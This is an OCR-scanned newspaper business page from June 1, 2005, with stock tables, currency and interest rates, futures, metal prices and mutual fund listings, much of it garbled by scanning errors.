.. Telikinc d14.26 -.30 22 Tellabs 8.23 +.05 19 Terayon 3.17 +17 21 25 TesseraT 29.44 -.48 21 ... TevaPhs 33.41 -.62 ... 36 Thoratec 14.94 +.15 ...... 3Com 3.66 -.03 32 18 TiboeSft 6.34 +.01 To... TWTele 5.10 -.03 .. TiVo Inc 6.75 +.02 ... 11 TomOnlin 11.56 +.32 11 26 TorRes 21.48 +4.09 .. Tmskry 33.99 -.10 ... TmsmetaIf .81 +.01 STmSwtec ul.97 +.02 87 44 Travelzoo 32.91 -.09 39 33 TriZetto u13.88 +.29 36 TridMic u21.18 -.18 31 27 TdmbleN 39.74 -1.29 ... TriQuint 3.39 +.12 16 15 TrstNY 12.45 +.11 14 14 Trustmk 28.57 -.10 .. 14 24/7RealM 3.04 -.02 18 15 UCBHHds 17.07 -.15 13 12 USXprss 12.21 +1.21 16 ... UTStrcm 7.36 +.17 .. 20 UbiquilT 6.92 +.03 26 28 Ulticom 9.20 -.04 .. 33 Ultratech 17.53 -.06 36 28 UtdNtdF 32.44 +.39 7 12 UtdOnIn 12.94 +.01 ...... US Enr 4.02 +.02 48 30 UtdThrp 49.96 +1.15 ... UtdG1blCm 9.11 -.12 14 ... UnivFor 39.80 -.14 42 31 UrbnOutsu53,34 -.82 ...... VAStwr 1.69 -.10 31 25 VCAAnts 24.78 +.19 26 23 ValueCick 10.75 +.06 22 20 Varian 37.20 -.01 19 21 VanianS 40.64 -.33 91 45 VascoDta 9.96 -.24 . Vasogeng 4.45 +.16 . VelctyEhrs 9.19 -.49 15 16 Ventiv 20.30 -.40 37 28 Versin 32.22 +.88 26 21 Veritas 24.89 +.09 SVersoTch .26 +01 ... ... VertxPh 13.92 -.15 ... ... ViaNet .10 ... ViaCelln 7.53 +10 8 ViewptCp 1.45 +.05 .. 25 Vignette 1.16 -.02 .. Visage If 4.28 -.20 ...... VionPhm 2.43 -.01 17 19 ViroPhan u4.35 -.30 .. ... Vitesse 2,50 +.03 72 30 Volterran 13.66 -.66 19 14 Wamaco 21.34 +.92 ...... WaveSys .89 +.07 72 15 WebMD 9.42 -.01 25 21 WebEx 26.86 +.63 ... 45 webMeth 5.03 +03 44 33 Websense 53.71 -.38 17 13 WermeEnt 18.81 -.24 16 13 WstMar 16.60 +.18 11 10 Westell 5.99 +.34 ...... WetSeal 4.26 +.07 53 43 WholeFd 118.94 -.59 .. 48 WindRvr 16.39 +.16 ... 15 WrssFac 5.15 -.04 8 6 WonidAir 8.52 +.02 SWoridGate 5.06 +.05 39 28 WdghIM 27.54 +.08 74 Wynn 46.85 +1.56 ... XMSat 32.11 +.30 XOMA 1.40 -.10 1 .. XcyleTh .66 +.03 32 27 Xilinx 27.77 -.36 57 58 Yahoo 37.20 -.07 12 9 YellowRd 52.78 -.45 29 17 Youbet 4,85 -.11 26 22 ZebraTs 42.56 -.45 ....ZhoneTch 2.71 -.01 ... 14 Z7Corp 2.40 -.34 16 13 ZionBcp 70.84 -.26 ... 57 Zoran 12.39 +.54 .. 16 SomFON 23.69 +.43 12 13 UnBnCal 62.77 +.10 20 ... Standex 26.76 +.14 48 Unsys 724 -.04 271 24 StaiwdHU 55.97 +.48 40 UDomR 23.05 +15 20 16 StateStr 48.00 -.05 20 17 Steds 2420 +.19 ... 42 UtdMiro 3.74 -.02 18 17 StorTch 3228 +.45 24 21 UPSB 73.65 -1.04 S13 StratHon 16.31 +.21 .. 11 UtdRentlf 20.08 +.76 ...... sTGoldn 41.65 -.23 1 1 U .3 -2 40 26 Stryker 48.65 -.26 13 12 USBancp 29.33 -20 54 19 SturmR 8.14 +.09 3 5 USSteel 39.77 -.59 .. 12 SunCmts 36.00 +.51 19 17 UtdTech 106.70 -1.18 ... 20 Suncorg 39.39 +.33 23 ... Udhths 48.58 -.31 22 21 SunGard 34.71 +.11 12 12 Sunoco 102.57 -1.25 35 2 Unsion 2.61 -.03 ... 38 SunstnHln 23.01 +.11 11 12 Unocal 56.99 -.57 14 13 SunTrst 73.61 -.33 1 12 10 UnumProu8.36 +.11 24 14 SupEnrgy 15.65 -.35 29 17 Sybase u20.40 +30 30 23 SymblT 11.51 +.05 25 22 Sysco 37.16 -.18 .. 61 ValeantPh 20.63 -.20 14 13 TCFFnds 25.88 -.10 9 9 ValeroEs 68.62 -1.87 21 13 TDBknorth 29.98 -.47 VKHIncT 3.87 +.04 ... 16 TECO u17.68 +27s 37.61 -.68 18 15 TJX 2293 -.40 4 23 3761 - .. 12 TXUCorp 8028 +.38 19 15 Vectren 2729 +.09 S.. TXUpfD 64.76 +.16 12 14 VezonCm 35.38 -.08 ...... TaiwSemi 9.21 ViaomB 3429 -64 15 20 Target 53.70 +.20 m amB 3429 -.64 4 .8 Teekay 42.48 -1.04 VpelCs 37.04 +1.12 ... TelNorL 1525 -.05 5 10 VintgPt 27.62 -.30 ... TelMexLs 18.66 -.07 23 Vishay 12.90 +.05 21 17 Tempelns 35.72 +.64 7.3 27 19 TempurP u23.33 -.07 Vton 7.3 ... ... TenetH 12.12 +.12ae 25.18 -14 24 21 Teppco 41.35 +.05 12 8 Wabash 24.91 -.29 37 ... Teradyn 13.01 -.09 13 11 Wachovia 50.75 -.29 14 10 Terra 6.35 -.23 19 17 WalMart 47.23 -.04 9 ... TerraNltro 24.50 +.25 10 10 Tesoro 43.60 -.49 31 27 Walgm 45.34 -.18 30 16 TeraTech 27.60 -.45 25 10 Waterind 42.40 +.72 25 23 Texlnst 27.64 -.11 .. 36 WarerMnu16.40 +.15 ... Theragan 3.43 +.10 13 11 WAMu 41.3 -4 12 16 ThermoEl 26.32 -.18 13 11 WAMut 41.30 -.40 18 16 ThmBet 30.88 -.14 18 18 WsteMInc 29.49 -.13 11 11 Thombg 30.19 +.62 21 19 Waters 38.85 +.04 20 17 3MCo 76.65 -.33 21 19 Wealhflnt 52.57 +.13 20 15 TIr 34.60 -.45 9 Wellmn 11.24 +44 15 20 Tiffany 31.13 -.47 9 Welm" 11.24 +44 24 21 TimeWam 17.40 -.19 22 16 WellPoint 133.00 -1.00 16 10 Timken 23.50 -.14 15 13 WellsFrgo 60.41 -.38 ... 18 TtanCp 22.00 -27 90 19 Wendys 45.13 -.01 ... 19 Todco 22.79 +.26 14 ... ToddShp 19.25 +.10 11 14 WestarEn 23.07 +.04 13 10 TollBros 92.59 +1.53 ...... WAstTIP2 12.66 +.08 16 14 Toolnc 19.88 -.27 17 12 WDkjtl u15.01 +.07 ...... TorchEn 6.80 -.08 11 14 Weyerh 64.15 +.13 12 11 Trchmrk 52.75 -.21 ... 12 TorDBkg u42.53 +1.18 10 WIlmCS 16.10 -.08 ...... TotalSA 111.19 -2.09 29 20 WmsCos 18.41 +.03 29 24 TotalSys 24.35 -.34 24 20 WmsSon 39.33 +.27 ...... TwnClry 27.55 -.20 23 24 ToyRU 2620 +.09 16 14 Winbo 32.69 -.19 73 21 Transocn 49.81 +.31 32 23 WinstonH 10.50 +.08 18 14 Tredgar 1525 +.17 14 15 WiscEn u36.30 .-.01, ... ... TdContl 17.91 -.06 8 11 Worthgtn 16.76 +.04 25 17 TradH 50.72 +1.22 20 15 Tribune d36.18 -.31 30 26 Wrigley 68.27 -.91 81 35 TrizecPr 19.51 -.17 38 15 Wyeth 43.37 -.45 27 14 Tycolnl 28.93 -.11 9 8 XLCap 75.28 +.59 19 14 Tyson 18.46 -37 19 13 XTOEgys 31.12 +.18 ... 47 U-Store-ltnu18.90 +41 14 15 UGICorpsu26.51 -.23 23 14 XcelEngy 18.43 +.02 9 22 UILHold 51.84 -.26 17 13 Xerox 13.57 -.26 31 33 USEC 13.65 +381 19 15 YankCdl 31.55 +.12 6 8 sjUSG 45.85 +.35 21 19 YumBrds 51.29 -.69 14 14 USTInc 44.56 -.09 17 15 UniMrst 36.60 +.50 31 23 Zimmer 76.58 -1.12 31 17 UnonPac 66.96 +.44 ...... ZweigTl 5.15 -.01 Requesi sloCkk or mutual funds b,/ writing the Chronicie. Ann Stock Requests. 162-4 N. Meadowcrest Blvd. Crystal River. FL 34429. or phrioning 563-5660. For sticks. include Ihe name ol ihe stock. its market and its licker symbol For mutual lunds I1sl the parent company and the exact rname o mne fund. Yesterday Pvs Day Australia 1.3225 1.3105 Brazil 2.4020 2.4035 Britain 1.8179 1.8228 Canada 1.2546 1.2537 China 8.2763 8.2765 Euro .8122 .7952 Hong Kong 7.7798 7.7768 Hungary 203.58 202.88 India 43.720 43.500 Indnsia 9507.50 9493.50 Israel 4.4014 4.3956 Japan 108.50 108.04 Jordan .7085 .7085 Malaysia 3.7999 3.7999 Mexico 10.8730 10.8770 Pakistan 58.89 59.56 Poland 3.33 3.35 Russia 28.2400 28.0800 SDR .6780 .6733 Singapore 1.6641 1.6593 Slovak Rep 31.35 31.40 So. Africa 6.8276 6.5601 So. Korea 1004.90 1000.90 Sweden 7.4394 7.3108 Switzerlnd 1.2477 1.2318 Taiwan 31.35 31.25 U.A.E. 3.6727 3.6728 British pound expressed in U.S. dollars. All others show dollar in foreign currency. Yesterday Pvs Day Prime Rate 6.00 6.00 Discount Rate 4.00 4.00 Federal F Treasuries ids Rate 3.0625 3.00 3-month 2.89 2.88 6-month 3.03 3.09 5-year 3.73 \3.82 10-year 3.98 .8 30-year 4.33 4.43s FUTURES Exch Contract Settle Chg Lt Sweet Crude NYMX Jul05 51.97 +.12 Corn CBOT Jul05 222 +3/4 Wheat CBOT Jul05 3313/4 -31/4 Soybeans CBOT Jul05 6801/4 +12/V2 Cattle CME Aug05 84.70 +.63 Pork Bellies CME Jul05 70.75 -2.25 Sugar (world) NYBT Jul05 8.76 +.01 OrangeJuice NYBT Jul05 95.15 -.60 SPOT Yesterday Pvs Day Gold (troy oz., spot) $416.30 $417.50 Silver (troy oz., spot) $7.444 $6.988 Copper (pound) $1.bbU) $1.5050u NMER = New York Mercantile Exchange. CBOT = Chicago Board of Trade. CMER = Chicago Mercantile Exchange. NCSE = New York Cotton, Sugar & Cocoa Exchange. NCTN = New York Cotton Exchange. .~wrri C1ray (L) ruONDnrrrr C BUSINESS WEDNESDAY, JUNE 1, 2005 9A TAL FUNDS 12-mo Name NAV Chg %Rtn AARP Invst: CapGrr 43.85 -.25 +6.2 GNMA 15.10 +.01 +6.0 Global 26.72 -.19 +15.4 GthInc 21.51 -.09 +7.3 Intl 4322 -.58 +12.8 Pthw n 11.60 -.02 +7.5 PtiwyGr ... NA ShTrmBd 10.09 +.01 +2.0 SmCoStk 24.61 -.01 +12.6 AIM Investments A: Agrsvp 10.08 -.01 +4.6 BalAp 25.18 -.09 +6.1 BasValAp31.79 -.18 +5.9 ChartAp 12.60 -.10 +4.8 Constlp 22.23 -.08 +3.8 HYdAp 4.40 +.02 +10,1 IntlGrow 19,77 -.25 +16.3 MdCpCEq28.65 -.13 +8.1 MuBp 821 +.01 +8.1 PremEqly 9.74 -.06 +5.0 SeEqly 1727 -.07 +6.9 Sumir 10.82 -.04 +8.2 WeingAp 1291 -.01 +4.8 AIM Investments B: CapDvBt 16.77 +,03 +9.2 PremEqly 9.00 -.06 +4.2 AIM Investor Cl: Energy 3200 -.18 +44.0 HthSd 50.40 -.40 +2.0 SmCoGIlp 11.80 +.01 +5.7 ToaIf 24.03 -.08 +3.7 Ullies 12.65 ... +30.1 AIM/INVESCO Invstr: CoreSak 10.44 -.07 +2.3 AMF Funds: AcMtgx 9.77 +.01 +2.0 Advance Capital I: Balancp n17.76 -.03 +7.9 Rellncn 10.09 +.04 +9.4 Alger Funds B: SmCapGrt 427 ... +6.5 AlllanceBem A: AmGvlncA 754 +.04 +12.6 BalanAp 17.16 -.06 +9.7 GbTchAp5534 -.19 +3.0 GdncAp 3.71 -.02 +9.4 SmCpGrA 21.36 ... +3.3 AllianceBem Adv: LgCpGrAd18.63 -.03 +5.8 AlllanceBem B: AmGvlnc6 7.64 +.04 +11.8 CorpBdBp 12.22 +.05 +8.9 GbTchBt 50.02 -.18 +2.2 GrolhBt 23.10 -.02 +4.0 SCpGrBt 18.01 ... +2.5 USGovtBp7.11 +.02 +5.8 AlllanceBem C: SCpGrCt 18.05 ... +2.6 Allanz Funds C: GwlhCt 17.45 -.11 +4.4 TargtCt 15.31 -.03 +4.1 AmSouth Fds Cl I: Value 16.72 -.09 +14.1 Amer Century Adv: EqGrop n22.12 -.09 +12.3 Amer Century Inv: Balancednl6.57 -.02 +9.7 Eqlncn 8.05 -.03 +10.4 Growhln 19.51 -.13 +9.0 Heritageln12.07 +.03 +9.3 IncGron 30.57 -.17 +11.3 InlDiscrn 12.86 -.06 +9.2 IntlGroln 8.78 -.10 +10.4 UfeSdin 5.08 -.02 +7.2 NewOpprn5.25 ... +2.3 OneChAgnl0.75 -.03 NE RealEstln 25.00 +.14 +27.9 Selecdtn 37.00 -.28 +3.1 Ultran 28.35 -.17 +2.5 lUfn 12.74 +.01 +29.3 Valuelnvn 7.38 -.05 +10.3 Amer Express A: Cal 525 +.01 +8.1 Discover 8.59 ... +14,1 DEI 11.10 -.05 +18.3 DiMBd 4.89 +.01 +6.5 DvOppA 7.24 -.04 +18.2 EqSel 12.68 -.03 +5.9 Growtl 26.87 -.03 +9.8 HiYdi 4.47 ... +6.8 Insr 5.48 ... +6.7 MgdAlp 9.46 -.05 +11.2 Mass 5.44 +.01 +7.2 Mich 5.34 ... +6.6 Mirn 5.34 ... +6.5 Mutualp 9.72 -.03 +9.2 NwD 23.38 -.11 +1.2 NY 5.16 ... +6.6 Ohio 5.34 +.01 +6.7 PreMI 8.09 -.02 -10.4 Sel 8.69 +.02 +6,0 SDGovt 4.79 +.01 +1.9 Slockp 19.16 -,09 '+6.8 TEBd 3.91 ... +7.1 Thdlnt 5.61 -.03 +15.2 ThdlknI 6.93 -.08 +10.3 Amer Express B: EqValp 10.11 -.04 +14.3 Amer Express Y: NwD n23.50 -.11 +1.3 American Funds A: AmcpAp 18.14 -.07 +5.4 AMuIlAp 2625 -.13 +8.9 BalAp 17.80 -.08 +7.1 BondAp 13.46 +.01 +6.6 CaplBAp 51.95 -.31 +15.2 CapWAp 19.52 -.08 +11.8 CapWGAp33.37 -31 +16.1 EupacAp 35.31 -.36 +14.6 FdInvAp 31.71 -.19 +12.7 GwthAp 27.41 -.10 +8.6 HITrAp 1213 +.03 +9.4 InrcoAp 18.18 -.08 +11.9 IntBdAp 13.67 +.02 +3.3 ICAAp 30.38 -.19 +8.9 NEcoAp 20.38 -.09 +6.3 NPerAp 26.96 -28 +9.8 NwWrl:A 32.93 -.05 +22.9 SmCpAp 30.82 +.02 +12.6 TxExAp 12.58 +.02 +7.1 WshAp 30.48 -.18 +8.2 American Funds B: BalBt 17.76 -.08 +6.3 CapB8t 51.95 -.31 +14.4 GrwthBt 26.56 -.10 +7.8 IncoBt 18.09 -.07 +11.0 ICABt 30.24 -.18 +8.1 WashBt 3029 -.18 +7.3 Ariel Mutual Fds: Apprec 46.80 -.15 +8.6 Aiel 53.25 -.07 +14.9 Artlesn Funds: Inl 21.45 -.18 +11.4 MidCap 29.18 +.01 +8.6 Baron Funds: Asset 52.34 +.19 +18.1 Growth 45.10 -.01 +18.7 SmCap 21.84 -.04 +9.4 Bernstein Fds: IntDur 13.41 +.03 +6.3 DivMu 14.17 +.01 +4.3 TxMgIntV 21.84 -.29 +12.6 IntVaI2 20.52 -.28 +12.5 BlackRock A: AureraA 38.95 -.03 +8.8 HiYlnvA 7.94 +.03 +9.4 Legacy 13.22 -.03 +6.8 Bramwell Funds: Growthp 19.35 -.11 +3.0 Brandywine Fds: Bmdywn n27.37 +.04 +15.2 Brlneon FundsaY: H.YIdlY n7.10 +.02 +9.7 CGM Funds: CapDv n29.59 +42 +29.4 Mutln 26.68 +14 +20.6 Calamos Funds: Gr&lncAp29.10 +01 +8,0 GrwthAp 50,60 -.03 +7.4 GrowlhCt 48.61 -.04 +6,6 Calvert Group: Incop 17.06 +04 +6.6 IntlEqAp 18.27 -.14 +11.2 MBCAI 10.34 ... +1.6 Munlntt 10.90 ... +4.3 SodalAp 27.65 -.06 +7.5 SocBdp 1624 +.05 +8.5 SocEqAp 34.38 -.13 +6.3 TxFUl 10.56 ... +1.2 TxFLgp 16.76 ... +6.4 TxFVT 15.93 +.01 +.2 Clipper 87.90 -.36 +7.9 Cohen & Steers: RDyShrr 7021 +.61 +35.2 Columbia Class A: Acornt 25.75 -.06 +14.4 Columbia Class Z: AcomZ 26.30 -.06 +14.8 AcomlntZ 29.12 -.16 +23.8 LargeCo 27.58 -.17 +7.8 SmralCo 21.02 -.02 +15,5 Columbia Funds: ReEsEqZ 26.53 +.17 +27.3 Davis Funds A: NYVenA 30.79 -.14 +9.7 Davis Funds B: NYVenB 29.45 -.14 +6.8 Davis Funds C &Y: NYVenC 29.64 -.14 +4.9 Delaware Invest A: TrendAp 19,55 -.05 -1.3 TxUSAp 11.73 +.02 +9.8 Delaware Invest B: DeIchB 3.26 +.01 +12.6 SeGIrBt 19,73 -.05 40.7 Dimensional Fds: IntSmVa n15.86 -.04 +27.6 USLgVan 20.20 -.06 +16.1 US Micro n14,06 -.01 +7.9 USSmalln18.62 -.01 +9.3 US SmVa 25.81 ... +15.4 EmgMktn 16.70 -.07 +33.0 IntVan 15.93 -.20 +19.4 DFARIEn 23.29 +.15 +30.4 Dodge&Cox: Balanced 79.01 -.28 +11.0 Income 12.85 +,03 +5.5 IntlSk 30.63 -.30 +25.7 Stock 129.10 -.85 +15.3 Dreyfus: Aprec 39.26 -.34 +6.1 Discp 31.94 -.18 +8.5 Dreyf 10.03 -.06 +6.7 DrSOOIn1 34.87 -.21 +7.7 EmgLd 42.91 ... +8.6 FLIntr 13.37 +.01 +5.1 InsMutn 18.10 +.03 +8.0 StrVaAr 28.11 -.13 +11.4 Dreyfus Founders: GrMwlhB n9.87 -.05 +5.0 GnrthFpn10.34 -.05 +5.9 Dreyfus Premier: CoreEqAt 14.67 -.13 +5.0 CorVfvp 29.82 -.19 +8.9: LtdHYdAp 7.32 +.02 +6.7 TxMgGCt 15.67 -.14 +4.1 TchGroA 22.27 -.09 -0.4 Eaton Vance Cl A: ChinAp 14.28 +.05 +23.5 GrwlhA 6.76 +.03 +6.0 InBosA 6.31 +.02 +9.0 SpEqtA 4.47 +.01 +2.5 MunBdl 10.74 -.02 +8.6 TradGvA 8,76 +.01 +3.7 Eaton Vance ClIB: FLM81 10.96 -.01 +6.9 HithSBt 10.65 -.13 -4,1 NatlMBt 10.49 -.01 +9.8 Eaton Vance Cl C: GovtCp 7.55 +.01 +3.0 NaUMCt 9.99 -.01 +9.8 Evergreen B: BalanBt 8.42 -.02 +6.4 BuChpBt 23.84 -.12 +6.7 DvrBdBIt 14.97 +.06 NE FoundB 16.91 -.02 +6.5 MuBdBt 7.56 +.01 +7.7 Evergreen I: CorBdl 10.73 +.03 +6.7 Evrgml 12.96 -.05 +6.9 Found 17.01 -.02 +6.5 SlIMunil 10.03 ... 4+3.1 Excelsior Funds: Energy 21.59 +.,02 +41.5 HiYielp ... ... NA ValRestr 41.89 -.04 +15.9 FPA Funds: Nwinc ... ... NA Federated A: AmLdrA 24.67 -.17 +8.2 CapApA 24.94 -.16 +5.4 MidGrStA 30.42 +.02 +14.1 MuSecA 10.84 +.02 +7.8 Federated B: StdrncB 8.65 ... +9.8 Federated Instl: Kaufmn 5.19 ... +8.1 Fidelity Adv FocT: HICarT 21.24 -.11 +7.2 NatResT 35.47 -.13 +31.7 Fidelity Advisor I: EqGrl n47.11 -.17 +1.4 EqlnIn 28.35 -.16 +8.7 IntBdIn 11.10 +.02 +5.1 Fidelity Advisor T: BalancT 15.92 -.01 +3.5 DivGrTp 11.39 -.09 +2.0 DynCATp 13.81 +.02 +6.3 EqGrTp 44.72 -.17 +0.9 EqinT 28.00 -.17 +8.2 GovinT 10.16 +.03 +6.0 GrOppT 30.13 -.14 +6.0 HilnAdTp 9,68 +.03 +13.1 JntBdT 11.09 +.03 +4.9 MidCpTp 23.24 +.01 +8.4 MulncTp 13.25 +.02 +8.4 OviseaT 1721 -.14 4+.8 STFiT 9.50 +.01 +2.5 Fidelity Freedom: FF2010 n13.56 -.02 +7.1 FF2020n 13.83 -.04 +8.3 FF2030n 13.92 -.06 48.7 Fidelity Invest: AggrGrr n16.04 -.03 +2.4 AMgrn 15.98 -.05 +4.4 AMgrGrn 14.52 -.07 +3.8 AMgrdnn 12.64 +.01 +6.5 Balancn 17.79 -.01 +10.8 BlueChGrn40.97 -.24 +3.2 Canadan 34.35 +.01 +28.9 CapApn 25.21 -.07 +5.8 Cplncrn 8.27 +.02 +14.2 ChinaRgn17.44 +.05 +17.7 CngSn 398.29 -3.08 +7.3 Contran 57.61 -.13 +12.5 CnvScn 20.54 +.05 +3.6 Destl 12.54 -.06 +3.9 Destll 11.21 -.08 40.4 DisEqn 25.63 -.10 +12.0 Divlntin 28.28 -.29 +14.2 DivGthn 27.73 -.21 +2.5 EmrMkn 13.42 -.04 +30.7 Eqlncn 50.91 -.32 +8.0 EQIIn 23.29 -.11 +10.0 ECapAp 21.40 -.23 +15.2 Europe 34.41 -.48 +27.2 Exchn 268,15-1.68 +9.3 Exportn 19.74 -.09 +11.6 Fideln 29.74 -.14 +8.7 Fiftyrn 20.04 +.04 +5.1 FlRateHi rn9.93 +.01 +4.3 FrInOne n 24.92 -.12 +9.6 GNMAn 11.11 +.02 +6.0 Govllncn 10.31 +.03 +6.1 GroCon 55.90 -.10 +8.0 Grolncn 37.49 -25 +7.3 Grolnclln 9.30 -.04 +2.1 Highlncrn 8.75 +.01 +8.6 Indepnn 17.50 -.01 +8.4 IntBdn 10.48 +.02 +4.8 IntGovn 10.22 +.03 +4.0 IntlDiscn 27.81 -.26 +14.8 IntSCprn23.65 -.05 +23.1 InvGBn 7.56 +.02 +6.9 Japann 12.12 +.04 -0.4 JpnSmn 12.39 +.18 +4.4 LatAmn 22.59 -.12 +56.5 LevCoStkn23.35 -.03 +24.5 LowPrn 39.84 ... +16.8 Magelhn102.20 -.65 +5.4 MidCapn 23.03 -.02 +7.0 MtgSecn 11.26 +.02 +6.1 NwMktrn 14.17 +.09 +21.7 NwMilln 29.64 -.02 +2.2 OTC n 34.36 -.05 +6.6 Ovrsean 34.37 -29 +9.4 PcBasn 19.58 +.08 +11.2 Purinn 18.67 -.06 +7.7 RealEn 29.96 +.18 +33.1 STBFn 8.94 +.01 +2.6 SmCaplndnl19.25+.02 +10.3 SmlCpSrn17.47 -.03 +8.4 SEAsian 17.40 +.07 +22.7 StkSIcen 22.74 -.11 +4.3 Stratlncn 10.52 +.02 +11.7 Trend n 53.14 -26 4+8.2 USBIn 11.12 +.03 +6.7 MJtyn 13.77 +.05 +23.5 ValStratn 35.72 +.05 +7.5 Value n 72.72 +.04 +19.0 Wridwn 17.84 -.12 +8.8 Fidelity Selects: Air n34.28 -.02 +15.8 Autonn 32.30 -.16 +4.7 Banldngn 36.87 -.14 +6,1 Bioltchn 54.14 -.45 -7.5 Brokrn 55.49 +.09 +15.1 Chemn 64.44 -.36 +24.7 Compn 34.31 -.11 -1.0 Conlndn 24.45 -.04 +8.1 CstHon 44.50 +.11 +30.0 DfAern 69.88 +.12 +28.0 DvCrmn 17.92 +.05 +3.3 Eletrn 39.45 +.06 -5.2 Enrgyn 36.95 -.17 +43.7 EngSvn 47.50 +.02 +43.1 Enirn 14.12 -.04 +6.4 FRnSvn 105.65 -.24 +6.1 Foodn 50,96 -.42 +11.0 Goldrn 22.36 -.12 -1.9 Health n 134.72 -.69 +8.1 HomFn 56.05 -.24 -1.1 IndMtn 36.70 -.13 +15.0 Insurn 61.94 +.03 +9,0 Leisrn 73.06 -.05 +77 MedDIn 47.81 -.08 +52.6 MdEqSysn24.13 -.11 +9.7 Mulamdn 44.24 -.03 +4.5 NtGasn 30.81 -.01 +43.8 Papern 27.77 -.07 -10.3 Pharmn 8.84 -.10 -0.3 Retain 50.79 -.30 +13.9 Softwrn 49.67 +.09 +5.0 Techn 59.01 -21 +0.5 TeGnA 35.69 +.12 +11.0 Treansn 39.87 -.20 +21.2 UlIGrn 40.81 +.10 +24.3 Wireless n 5.9 +.03 +21.6 Fidelity Spartan: CAMun n12.60 +.01 +8.3 CTMunrn11.69 +.01 +6.4 Eqldxn 42.27 -26 +4.1 5001nrn 82.56 -.51 +4.1 FLMurn 11,76 +.02 +7.7 Govlnn 11.12 +.04 +6.3 InvGrBdn 10.70 +.03 +7.1 MDMsrn1l.07 +.02 +7.1 MAMunn12.21 +.02 +8.5 MIMunn 12.09 +.02 +6.9 MNMunn11.62 +.01 +6.7 Munilncn 13.13 +.02 +8.6 NJMunrn1.80 +.01 +5.3 NYMunn 13.10 +.01 +8.1 OhMunn 12.00 +.01 +8.1 PAMunrn11.02 +.01 +7.8 StIntMun 10.28 ... +2.7 TotMklgnn32.71 -.15 +9.4 First Eagle: G0IA 39.28 -.15 +16.4 OverseasA22,08 -.12 +18.5 First Investors A BIChpAp 20.10 -.12 +55 GinbbAp 6.51 -.03 +9.0 GovtAp 11.01 ... +4.7 GrolnAp 13.07 -.07 +9.2 IncoAp 3.05 ... +5.0 InvGrAp 9,97 +.04 +6.1 MATFAp 12.12 +.01 +6.4 MITFAp 12.76 +,01 +5.7 MidCpAp 25.82 -02 +16.0 NJTFAp 13.10 +.01 +5.8 NYTFAp 14.58 ... +5.9 PATFAp 13,30 +.01 +5.8 SpSitAp 18.95 -.02 +8.8 TxExAp 10.24 +.01 +6.2 TotRtAlp 13.61 -.03 +7.6 ValueBp 6.41 -.03 +11.3 Firsthand Funds: GIbTech 3.71 -.02 -10,6 TechVal 27.90 +.14 -4.2 Frank/Temp Frnk A: AGEAp 2.09 +.01 +11,1 AdjUSpx 9.02 ... +2,3 ALTFAp 11.65 +.01 +7.6 AZTFAp 11.32 +.01 +10.5 Ballnvp 58.28 +.05 +21.1 CallnsAp 12.81 +.01 +9.2 CAIntAp 11.65 +.01 +6.6 CalTFAp 7.39 +.01 +10.2 CapGrA 10.57 -.06 '+0.9 COTFAD 12.14 +.01 +8.8 Io o A H U L N A S Here aCe the 1.000 biqgest mutual runds I.Sted on Nasdaq. Tables snow ine fund name. sell price or Net Asset Value iNAVI and daily nat cnan'ge as well as one total return figure as lollowS Tues: 4.-k tloal return ('i Wed: 12-mo lotal return. ni Thu: 3-yr cumulat've Ioal return 1':) Fri: 5-yr curnulatre total return il"j - -0 Or .'A..j~ '1: Name: Name o1 mutual lund and family NAV: Njel asset value. Chg: Npe change ir, price of NAV Total return: Percerit change in NAV lor the line panod shown il.h dividends reinvested. If period longer Than 1 year. return is cumula- tne Data based on N4Vs repone, toLipper ty 6 pnm Easteim Footnotes: e Ex-apital gains distribution f PrEviouS day's quole. n rNo-load lund p Fund assets used Io pa3' disinbutuon co.s r - Redemption lee or corilingent riererred sales load may apply 5 - Stock dividend or split I Both p and r a Ex-Cash dividend NA No information available NE. Data in question. NN Fund does not wish to be tracked NS Fund did no31 eY.s at star date Source: CTTFAp 11.20 +01 +9.7 CvtScAp 15.91 +.10 +8.4 DbITFA 12.09 +.01 +10.0 DynTchA 23.87 -.07 +2.5 EqlncAp 20.42 -.15 +8.7 Fedlntp 11.59 +.02 +6.8 FedTFAp 12,28 +.02 +9.0 FLTFAp 12.08 +.01 +8.5 FoundAIp 12.12 -.05 +11.9 GATFAp 12.26 +.01 +8.9 GoldPrMA16.48 -.24 -0.2 GrwIhAp 33.66 -.21 +9.4 HYTFAp 10.92 ... +10.6 IncomAp 2.44 ... +11.7 InsTFAp 12.47 +.01 +7.9 NYITFp 11.09 +.01 +5.6 LATFAp 11.74 +.01 +7.8 LMGvScAx 10.11 +.01 +2.3 MDTFAp 11.88 +.01 +8.0 MATFAp 12.09 +.01 48.5 MITFAp 12.41 +.01 +7.4 MNInsA 12.27 +.01 +7.5 MOTFAp 12.42 +.01 +9.0 NJTFAp 12.28 +.02 +9.3 NYInsAp 11.74 +.01 +7.9 NYTFAp 12.01 +.02 +8.0 NCTFAp 12.43 +.01 +8.6 OhiolAp 12.72 +.01 +8.4 ORTFAp 12.00 +.01 +8.9 PATFAp 10.54 +.01 +8.0 ReEScAp26.83 +.15 +32.4 RisDvAp 31.46 -.16 +5.8 SMCpGrA 33.21 +.01 +8,5 USGovAp 6.63 +.01 +5.9 UlisAp 11.67 +.02 +26.7 VATFAp 11,98 ... +8.7 Frank/Temp Frnk B: IncornBl p 2.44 ... +11.2 IncomeBt 2.43 ... +10.8 Frank/Temp Fmk C: IncomrCt 2.45 ... +11.1 Frank/Temp Mtl A&B: DiscA 24.63 -.10 +19.2 QualfdAt 19.64 -.07 +16.3 SharesA 23.25 -.06 +13.2 Frank/Temp Temp A: DvMktAp 18.95 -.03 +30.4 ForgnAp 12.05 -.08 +14.6 GIBdAp 10.60 -.10 +12.8 GrwthAp 22.58 -.20 +12.4 IntxEMp 14.53 -.16 +15.2 WorldAp 17.64 -.10 +13.5 Frank/TempTmp B&C: DevMktC 18.58 -.03 +29.5 ForgnCp 11.88 -.08 +13.8 GE Elfun S&S: S&SInc 11.51 +.03 +6.3 S&S PM 44.69 -.28 +6.4 GMO Trust III: EmMkr 18.00 -.06 +38.0 For 14.47 -.15 +15.0 GMO Trust IV: EmrMkt 17.97 -.05 +38.1 Gabelli Funds: Asset 41.27 -.17 +13.1 Gartmore Fds D: Bondx 9.76 +.03 +7.1 GvtBdDx 10.40 +.04 +6.5 GrowthD 6.72 -.02 +8.1 NatonwD 20.15 -.08 +9.1 TxFrrx 10.68 +.01 +7.7 Gateway Funds: Gateway 24.77 -.03 +7.2 Goldman Sachs A: GrIncA 24.97 -.11 +14.1 SmCapA 39.92 -.02 +11.5 Guardian Funds: GBG InGrA 13.05 -.07 +13.2 ParkAA 30.60 -.20 +4.5 Harbor Funds: ,Bond 12.00 +.02 +7.6 